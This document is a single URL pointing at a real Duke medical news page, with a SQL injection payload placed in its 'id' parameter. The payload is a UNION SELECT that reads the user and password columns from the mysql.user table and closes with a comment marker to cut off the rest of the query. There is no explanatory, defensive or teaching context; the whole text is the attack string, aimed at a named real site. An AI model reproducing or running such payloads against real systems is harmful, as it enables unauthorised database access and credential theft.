http://www.dukemednews.duke.edu/news/article.php?id=-801+union+select+1,concat_ws(0x3a,user,password),3 ,4,5,6,7,8+FROM+mysql.user/*